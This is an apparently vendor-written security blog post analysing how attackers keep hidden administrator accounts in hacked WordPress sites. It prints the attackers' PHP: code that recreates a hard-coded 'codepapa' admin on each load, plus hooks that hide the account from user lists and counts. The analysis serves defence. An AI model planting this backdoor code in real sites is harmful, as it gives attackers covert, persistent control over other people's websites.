How hackers create hidden admin users on your WordPress blog.

Very often, when we clean up a hacked WordPress website, we found hidden admin users created by the attackers. In this post, we will see how hackers manage to create and hide them.

Hidden Admin Users

In the following example, the attackers were able to create an admin user by exploiting an XSS vulnerability. They logged in and used the built-in Theme Editor to inject some code into the functions.php script of the blog’s active theme:

function wpb_admin_account(){
   $user = 'codepapa';
   $pass = 'vvVV44$$vvVV44$$';
   $email = '';
   if ( !username_exists( $user )  && !email_exists( $email ) ) {
      $user_id = wp_create_user( $user, $pass, $email );
      $user = new WP_User( $user_id );
      $user->set_role( 'administrator' );

The above code snippet is used to re-created the account if it was deleted: It loads via the WordPress init hook, i.e., each time the blog loads, and checks if the admin account created by the attacker (codepapa) still exists. If it doesn’t, it creates it by calling the wp_create_user function and gives it the administrator role.
However, if an admin user logged in, they could see the hackers’ account in the Users section of the blog:

To hide it, hackers use the WordPress pre_user_query hook in order to tamper with the database query used to retrieve the list of admin users:

function yoursite_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;
   if ($username != 'codepapa') { 
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'codepapa'",$user_search->query_where);

We can see that, unless the logged-in user is “codepapa”, the code will alter the SQL WHERE 1=1 clause in order to exclude the rogue account from the results. When searching for all admin users accounts, WordPress sends the following query to the DB (wp_ being the database prefix):

SELECT wp_users.ID,wp_users.user_login,wp_users.user_pass,wp_users.user_nicename,wp_users.user_email,wp_users.user_registered,wp_users.display_name
FROM wp_users
INNER JOIN wp_usermeta
ON ( wp_users.ID = wp_usermeta.user_id )
AND ( wp_usermeta.meta_key = 'wp_capabilities'
AND wp_usermeta.meta_value LIKE '%\"administrator\"%' )
ORDER BY user_login ASC

The hackers’ account doesn’t appear in the users list anymore. But there’s still one more problem to solve:

The numbers of total users and administrators still include the rogue account. To change it, hackers use another WordPress hook in order to filter the list of available list table views: views_users.

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;

It will first decrement the numbers of total users and administrators, and will search and replace them in the code. Note also how the attacker is using the translate_user_role function to ensure that it will work even if the admin dashboard was set up to use a non-english language.

And eventually, we have our hidden admin user:

Protection and Detection

If you’re using our web application firewall for WordPress, NinjaFirewall WP Edition (free) and NinjaFirewall WP+ Edition (premium), it will detect and warn you about the account creation. If you were already hacked, our free NinjaScanner plugin would help you detect the rogue account.